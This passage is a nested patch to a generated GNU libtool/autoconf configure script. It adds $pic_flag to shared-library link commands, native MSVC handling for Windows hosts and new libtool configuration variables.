++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9340,7 +9918,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9348,7 +9926,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9364,7 +9942,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9388,10 +9966,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9470,23 +10048,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9571,7 +10162,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9590,9 +10181,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10168,8 +10759,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10202,13 +10794,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11086,7 +11736,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11089 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11130,10 +11780,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11192,7 +11842,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11195 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11236,10 +11886,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -13224,7 +13874,7 @@ SHARED_LDFLAGS=
+ if test "$enable_shared" = "yes"; then
+ x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
+ if test -n "$x"; then
+- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
++ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
+ fi
+ fi
+
+@@ -15879,13 +16529,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -15900,14 +16557,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -15940,12 +16600,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -16000,8 +16660,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -16011,12 +16676,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -16032,7 +16699,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -16068,6 +16734,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -16837,7 +17504,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -16940,19 +17608,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -16982,6 +17673,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -16991,6 +17688,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -17105,12 +17805,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -17197,9 +17897,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -17215,6 +17912,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -17247,210 +17947,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
